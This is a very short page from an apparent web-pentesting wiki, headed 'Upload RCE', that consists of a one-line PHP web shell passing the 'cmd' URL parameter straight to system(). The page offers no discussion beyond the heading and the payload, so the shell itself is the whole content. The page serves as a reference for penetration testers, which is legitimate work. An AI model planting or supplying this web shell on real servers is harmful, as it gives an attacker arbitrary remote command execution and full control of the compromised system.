> For the complete documentation index, see [llms.txt](https://hackerlab.gitbook.io/wiki.hackerlab.cz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackerlab.gitbook.io/wiki.hackerlab.cz/web-pentesting/upload-rce.md).

# Upload RCE

## PHP Web shell

```
<?php system($_GET["cmd"]); ?>
```